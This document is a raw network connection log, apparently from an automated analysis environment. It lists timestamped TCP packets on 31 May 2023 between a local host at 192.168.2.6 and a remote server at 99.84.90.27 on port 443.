May 31, 2023 12:22:21.876974106 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876990080 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.877022028 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.878011942 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.883857012 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.883898973 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.883995056 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.884033918 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.884073019 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.884099960 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.884121895 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.884298086 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.884325981 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.884366989 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.884377003 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.884396076 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.884417057 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.884449959 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.884480953 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.884488106 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.884509087 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.884566069 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.884589911 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.884618044 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.884625912 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.884645939 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.884906054 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.884947062 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.884974957 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.884987116 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885004044 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.885061026 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885085106 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885118961 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.885128975 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885154009 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.885155916 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885195017 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885212898 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.885221004 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885252953 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.885301113 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.885308981 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885339022 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885346889 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.885355949 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885382891 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.885402918 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885432959 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885453939 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.885461092 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885488987 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.885509014 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885548115 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.885555029 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885580063 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.885598898 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885637045 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885651112 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.885657072 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885694027 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.885699987 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885718107 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885742903 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885757923 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.885765076 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885797977 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.885812998 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.885840893 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885868073 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885895967 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.885901928 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885929108 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.885946989 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.885957003 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.885972023 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886003971 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886008978 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886018038 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886055946 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886065960 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886111975 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886137962 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886168003 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886173964 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886205912 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886219978 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886226892 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886240959 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886271000 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886279106 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886307001 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886312962 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886326075 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886348963 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886356115 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886370897 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886393070 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886409044 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886415958 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886441946 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886456013 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886477947 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886503935 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886534929 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886542082 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886568069 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886580944 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886599064 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886635065 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886661053 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886667013 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886689901 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886694908 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886707067 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886713028 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886729956 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886740923 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886778116 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886784077 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886811018 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886837959 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886846066 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886852026 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886879921 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886923075 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.886934042 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886965036 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.886991978 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.887018919 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.887023926 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887053967 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887068033 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.887073994 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887094021 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887110949 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.887125969 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.887130022 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887160063 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.887181997 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.887187958 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887204885 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887228012 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887247086 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.887253046 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887279987 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.887296915 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.887298107 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887312889 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887343884 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887353897 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.887361050 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887382984 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.887399912 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.887428045 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887482882 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.887492895 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887507915 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887530088 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887551069 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.887557983 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887593985 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.887615919 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887664080 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.887670040 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887702942 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887737036 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887758017 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.887763977 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887792110 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.887821913 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887845993 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887880087 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.887887001 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887907982 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.887942076 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.887976885 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888075113 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888098955 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.888101101 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888118982 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888139963 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.888178110 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.888212919 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888243914 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888293982 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.888303041 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888317108 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.888350964 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888386011 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888410091 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.888417006 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888446093 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.888493061 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888523102 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888556004 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.888564110 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888586044 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.888622999 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888663054 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888683081 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.888690948 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888715029 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.888768911 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888796091 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888833046 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.888843060 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888864994 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.888895988 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888936996 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888955116 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.888962030 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.888998032 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.889038086 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.889067888 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.889098883 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.889106035 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.889128923 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.889166117 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.889204025 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.889223099 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.889230013 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.889261961 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.889303923 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.889333963 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.889367104 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.889374971 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.889396906 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.889458895 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.889503002 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.889516115 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.889523983 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.889569998 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.889601946 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.889642954 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.889676094 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.889683008 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.889702082 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.889739037 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.889779091 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.889795065 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.889802933 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.889832973 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.889878988 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.889905930 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.889935017 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.889942884 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.889961958 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.889987946 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.890026093 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.890043020 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.890049934 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.890063047 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.890083075 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.890115023 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.890122890 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.890141010 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.890150070 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.890171051 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.892353058 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.894759893 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.937269926 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.937326908 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.937484026 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.937536001 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.937540054 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.937573910 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.937597036 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.937618971 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.937851906 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.937890053 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.937939882 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.937951088 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.937973976 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.938225985 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.938270092 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.938311100 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.938321114 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.938338041 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.938563108 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.938601971 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.938646078 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.938653946 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.938671112 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.938960075 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.938999891 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.939063072 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.939070940 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.939088106 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.939116001 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.939121962 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.939250946 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.939277887 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.939315081 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.939321995 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.939352036 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.939376116 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.939587116 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.939623117 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.939656973 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.939663887 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.939693928 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.939707041 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.939891100 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.939928055 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.939966917 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.939974070 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.940016031 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.940174103 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.940222025 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.940243959 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.940251112 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.940284967 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.940553904 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.940584898 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.940623045 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.940632105 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.940666914 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.940666914 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.940720081 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.940727949 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.940864086 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.940876961 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.940901041 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.940927029 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.940948963 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.940956116 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.940994024 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.941179991 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.973869085 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.973917961 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.974023104 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.974060059 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.974131107 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.974153042 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.974155903 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.974189043 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.974270105 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.974313974 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.997411013 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.997461081 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.997541904 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.997579098 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.997694969 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.997721910 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.997759104 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.021389961 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.021442890 CEST	443	49711	99.84.90.27	192.168.2.6
